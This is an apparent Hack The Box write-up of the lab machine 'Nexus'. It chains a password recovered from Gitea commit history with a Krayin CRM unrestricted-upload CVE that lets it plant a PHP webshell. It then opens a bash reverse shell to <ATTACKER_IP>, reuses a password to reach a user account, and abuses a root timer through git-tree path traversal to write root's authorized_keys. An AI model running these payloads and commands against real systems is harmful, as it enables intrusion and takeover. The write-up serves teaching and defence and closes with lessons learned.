root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat nexus.md
// writeups

Nexus

23 Jun 2026 · 18 min read
Nexus - maquina de Hack The Box

Executive summary — Nexus is a black-box Easy Linux box, with no starting credentials, solved through five tightly-chained phases. Subdomain fuzzing reveals two hidden apps —a Gitea and a Krayin CRM— and the key is that Gitea allows browsing public repos without authentication: one of them has a committed .env, and although the current HEAD shows it "cleaned", the commit history still holds the original password. That credential works on the Krayin CRM admin login, which is vulnerable to an unrestricted upload (CVE-2026-38526, CVSS 9.9) in its TinyMCE editor: uploading a PHP webshell by simply faking the Content-Type gives RCE as www-data. The server's real .env leaks another MySQL password that, through password reuse, also unlocks the OS account of user jones (USER). The final escalation abuses a custom systemd timer running as root that syncs Gitea "template repos": the script doesn't sanitise the filenames coming out of git ls-tree -r, so a hand-crafted git tree with entries literally named .. produces a path traversal that writes an SSH key into root's authorized_keys (ROOT). Path: Gitea (secret in history) -> Krayin RCE -> jones (password reuse) -> path traversal in root timer -> SSH root.

PlatformHack The Box
Operating systemLinux (Ubuntu)
DifficultyEasy
StatusRetired
Target IP10.129.234.54

Attack map

[80/HTTP]  nexus.htb (static) -> subdomain (vhost) fuzzing
   |  git.nexus.htb (Gitea) + billing.nexus.htb (Krayin CRM)
   v
[Gitea]  commit history -> leaked DB_PASSWORD (HEAD clean, history isn't)
   |  j.matthew@nexus.htb : N27xh!!2ucY04
   v
[Krayin CRM]  admin login -> CVE-2026-38526 (unrestricted TinyMCE upload) -> RCE
   v
[SHELL]  www-data -> real .env -> reused MySQL password
   v
[jones]  (user.txt)
   |  gitea-template-sync.timer (root, every minute) -> path traversal in ls-tree -r
   v
[ROOT]  arbitrary write to root's authorized_keys -> SSH root (root.txt)

1. Reconnaissance and hidden subdomain discovery

nmap -sC -sV -T4 10.129.234.54
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://nexus.htb/

An nmap -p- --min-rate 3000 confirms that only 22 and 80 are open across the whole range. We map the name and browse the site:

echo "10.129.234.54 nexus.htb" | sudo tee -a /etc/hosts

http://nexus.htb/ is a static corporate site (a single page, no forms, no backend). Directory fuzzing with raft-medium-directories.txt yields nothing. The only useful data in the HTML are two emails: careers@nexus.htb and j.matthew@nexus.htb —a possibly valid username on other systems.

Why fuzz subdomains: with no more visible surface on the main site, the logical next step is testing whether the server responds differently based on the Host: header (virtual hosting). We first need to filter out nginx's catch-all response size to avoid drowning in false positives.

BASESIZE=$(curl -s -o /dev/null -w "%{size_download}" \
  -H "Host: zzznonexistent999.nexus.htb" http://10.129.234.54/)

ffuf -u http://10.129.234.54/ -H "Host: FUZZ.nexus.htb" \
  -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
  -fs "$BASESIZE" -mc all -t 60
git       [Status: 200, Size: 14474]
billing   [Status: 302, Size: 390]     -> Location: http://billing.nexus.htb/admin/login
echo "10.129.234.54 git.nexus.htb billing.nexus.htb" | sudo tee -a /etc/hosts

git.nexus.htb is a Gitea instance (cookie i_like_gitea). billing.nexus.htb redirects to /admin/login with cookies krayin_crm_session and XSRF-TOKEN: a Krayin CRM (built on Laravel).

2. Secret in Gitea history -> Krayin CRM login

Gitea allows browsing public repos without authentication (/explore/repos). One stands out, admin/krayin-docker-setup, which has an .env and a docker-compose.yml committed directly —a classic bad practice. The current HEAD shows empty values (APP_KEY=, DB_PASSWORD=): someone "cleaned" them after noticing the leak. But the history still holds the original version:

curl -s http://git.nexus.htb/admin/krayin-docker-setup/commits/branch/main
# two commits: 1615c465... and 9b817fa4...

curl -s "http://git.nexus.htb/admin/krayin-docker-setup/raw/commit/1615c465b74e5d7ad3162873382dd8b3869ca892/.env"
DB_CONNECTION=mysql
DB_HOST=krayin-mysql
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=N27xh!!2ucY04        <-- plaintext password

Key concept: in git, "deleting" a secret in a later commit does not remove it —the blob remains reachable by its hash and through the old commits. Cleaning HEAD without rewriting history (git filter-repo/BFG) or rotating the credential accomplishes nothing.

We test that password against Krayin's login (POST /admin/login with email + password + CSRF _token), trying different candidate emails:

curl -s -i -b cookies.txt http://billing.nexus.htb/admin/login \
  -d "_token=$TOKEN" -d "email=j.matthew@nexus.htb" -d "password=N27xh!!2ucY04"
# admin@example.com   -> 302 back to /admin/login (fail)
# j.matthew@nexus.htb -> 302 Location: /admin/dashboard (success)

Password reused between the DB leaked in history and the web admin account -> full admin access to Krayin CRM.

3. RCE in Krayin CRM (CVE-2026-38526) -> www-data shell

Once authenticated, we identify Krayin CRM v2.2.0 (visible in /admin/configuration and in the phpdebugbar panel, active in production —APP_DEBUG=true— which also leaks server paths like /var/www/krayin/packages/Webkul/Admin/src/Http/Controllers/User/AccountController.php).

CVE-2026-38526 (CVSS 9.9) is an unrestricted file upload in the TinyMCE media endpoint (POST /admin/tinymce/upload): an authenticated user can upload a .php file by simply faking the multipart part's Content-Type.

cat > webshell.php <<'EOF'
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); } ?>
EOF

curl -s -i -b krayin_cookies.txt http://billing.nexus.htb/admin/tinymce/upload \
  -H "X-CSRF-TOKEN: $TOKEN" \
  -F "file=@webshell.php;type=image/png"
{"location":"http:\/\/billing.nexus.htb\/storage\/tinymce\/ddce582e926f1cd5d5f802e6e136d489.php"}

There's no real type validation: the client-declared Content-Type is enough to accept the file, which is stored under storage/tinymce/ and served by nginx as executable PHP:

curl -s "http://billing.nexus.htb/storage/tinymce/ddce582e926f1cd5d5f802e6e136d489.php?cmd=id"
# uid=33(www-data) gid=33(www-data) groups=33(www-data)

Reverse shell with listener nc -lvnp 4447:

curl -s "http://billing.nexus.htb/storage/tinymce/ddce582e926f1cd5d5f802e6e136d489.php" -G \
  --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/<ATTACKER_IP>/4447 0>&1' &"
www-data@nexus:~/krayin/storage/app/public/tinymce$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

We stabilise with python3 -c 'import pty; pty.spawn("/bin/bash")'.

4. user.txt — password reuse -> su jones

The server's real .env (different from the one leaked in the repo, with updated credentials) is readable by www-data:

cat /var/www/krayin/.env
APP_KEY=base64:n4swv+4YcBtCr1OPHBe69GxK06/X1y1vCQU1SIMIC7Q=
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_DATABASE=krayin
DB_USERNAME=krayin
DB_PASSWORD=y27xb3ha!!74GbR

/etc/passwd shows two real users with a shell: root and jones (plus git, which runs Gitea). Krayin's users table only holds j.matthew's bcrypt hash (already known), so we try the DB password directly against jones —reuse, for the third time:

echo 'y27xb3ha!!74GbR' | su jones -c 'id'
# uid=1000(jones) gid=1000(jones) groups=1000(jones),100(users)

cat /home/jones/user.txt

sudo -l grants nothing. No SSH keys, no unusual SUID/capabilities, no accessible personal crontab —time to look at system automation.

5. root.txt — path traversal in a Gitea "template" sync timer

5.1 Discovering the timer and the script

systemctl list-timers --all
NEXT                  LEFT  LAST                  PASSED  UNIT                       ACTIVATES
Sun ... 10:54:25 UTC  42s   Sun ... 10:53:25 UTC  17s ago gitea-template-sync.timer  gitea-template-sync.service

A custom timer firing every minute, unrelated to standard packages:

systemctl cat gitea-template-sync.service gitea-template-sync.timer
# gitea-template-sync.service
[Service]
Type=oneshot
User=root
ExecStart=/usr/bin/python3 /etc/gitea/template-sync.py
TimeoutStartSec=50s

# gitea-template-sync.timer
[Timer]
OnBootSec=1min
OnUnitActiveSec=1min

It runs as root. The script, /etc/gitea/template-sync.py, is readable by jones and, in essence: asks the Gitea API (GET /api/v1/repos/search) for repos flagged as "template": true, and for each one runs git ls-tree -r HEAD against the bare repo (/var/lib/gitea/data/gitea-repositories/<owner>/<repo>.git). For each tree entry it dumps the blob with git cat-file blob and writes the content to STAGING_DIR/<owner>/<repo>/<filepath> using os.path.join() without sanitising or normalising filepath.

The bug: any Gitea user can flag their own repo as a "Template Repository" —this doesn't require instance-admin. Root's script iterates every minute over every template repo and writes its files with os.path.join() without checking that the result stays inside stage_path. If filepath contains .., we get arbitrary write as root.

The subtlety: the traversal isn't in the content or in an HTTP parameter —it's in the filename inside the git tree. And git allows a tree entry to be named .. if you build the tree with low-level plumbing (not git add, which rejects it). That's the trick in section 5.3.

5.2 Logging into Gitea as jones (same reused password)

curl -s -i -b cookies.txt http://git.nexus.htb/user/login \
  -d "user_name=jones" -d "password=y27xb3ha!!74GbR"
# "Signed in as jones"

This Gitea instance doesn't require an explicit CSRF token in the body; it relies on SameSite=Lax, so a same-origin request like this one goes through.

jones isn't site-admin (403 at /-/admin), but can create repos and flag them as templates:

curl -s -i -b cookies.txt http://git.nexus.htb/repo/create \
  -d "uid=2" -d "repo_name=testrepo1" -d "auto_init=true" -d "default_branch=main"
# -> /jones/testrepo1

curl -s -i -b cookies.txt http://git.nexus.htb/jones/testrepo1/settings \
  -d "action=update" -d "repo_name=testrepo1" -d "template=on"

(We first checked whether Gitea Actions had active runners —a CI/CD path would be more direct—, but Runners Management (Total: 0), ruled out.)

5.3 Building a git tree whose ls-tree -r produces the traversal path

STAGING_DIR/jones/testrepo1 is /home/git/template-staging/jones/testrepo1 —5 levels from /. For the final path to resolve to /root/.ssh/authorized_keys we need ../../../../../root/.ssh/authorized_keys (5 x ..). git ls-tree -r generates that chain by walking nested trees, so we build by hand, using plumbing (hash-object, mktree, commit-tree), a chain of 5 trees whose only entry at each level is literally named .., ending in the real root/.ssh/authorized_keys structure:

set +H   # IMPORTANT: prevents bash from expanding the password's "!!" as history

cd /tmp && mkdir traversal_repo && cd traversal_repo
git init -q
git config user.email "jones@nexus.htb"; git config user.name jones

echo "ssh-ed25519 AAAA...kali@kali" > authkey.txt
BLOB=$(git hash-object -w authkey.txt)

SSH_TREE=$(printf "100644 blob %s\tauthorized_keys\n" "$BLOB" | git mktree)
ROOT_TREE=$(printf "040000 tree %s\t.ssh\n" "$SSH_TREE" | git mktree)
CUR=$(printf "040000 tree %s\troot\n" "$ROOT_TREE" | git mktree)
for i in 1 2 3 4 5; do
  CUR=$(printf "040000 tree %s\t..\n" "$CUR" | git mktree)
done
HEAD_TREE=$CUR
COMMIT=$(git commit-tree "$HEAD_TREE" -m "template sync payload")

git ls-tree -r "$COMMIT"
# 100644 blob <hash>    ../../../../../root/.ssh/authorized_keys      <-- confirmed

We push the commit as the HEAD of the template repo, against Gitea's internal port (localhost:3000):

git push http://jones:y27xb3ha!!74GbR@localhost:3000/jones/testrepo1.git \
  "$COMMIT":refs/heads/main --force

5.4 Waiting for the timer and confirming

tail -f /var/log/template-sync.log
[...10:56:25] Found 1 template repo(s)
[...10:56:25]   synced: README.md                                   <- previous cycle, before the push
[...10:57:25] Found 1 template repo(s)
[...10:57:25]   synced: ../../../../../root/.ssh/authorized_keys    <- arbitrary write as root
ssh -i ~/.ssh/id_rsa root@nexus.htb 'id; cat /root/root.txt'
# uid=0(root) gid=0(root) groups=0(root)

System fully compromised. 🏴‍☠️

Vulnerability summary

PhaseComponentVulnerabilityImpact
InfoGitea repo admin/krayin-docker-setupDB_PASSWORD committed in plaintext and preserved in history despite being "cleaned" on HEADLeak of a reusable credential
RCEKrayin CRM v2.2.0 — POST /admin/tinymce/uploadCVE-2026-38526: upload validation trusts the client's Content-Type, not the real contentAuthenticated RCE as www-data
Lateral/var/www/krayin/.env readable by www-dataPassword reuse: the production MySQL password is also the OS password for jones and their Gitea accountLateral move www-data -> real user
PrivEsc/etc/gitea/template-sync.py (root, timer every minute)Path traversal: filenames from git ls-tree -r HEAD of any user's "template" repo used in os.path.join() without sanitisingArbitrary write as root

Lessons learned

  • Git history remembers: never commit an .env, not even "cleaned" afterwards —history keeps everything. Add a .gitignore from the first commit; after a leak, rotate the credential and rewrite history (git filter-repo/BFG), not just HEAD.
  • Validate uploads by real content (magic bytes / re-encoding images), never by client-declared Content-Type or extension.
  • Don't reuse passwords across the app (.env, DB) and OS accounts —it's the first thing tried after any RCE.
  • Always sanitise paths derived from external data (here, filenames from another user's git tree). Any automation that writes to disk with elevated privileges must verify the resolved destination still lies within the expected directory before writing, e.g. with os.path.realpath() checked against the base directory.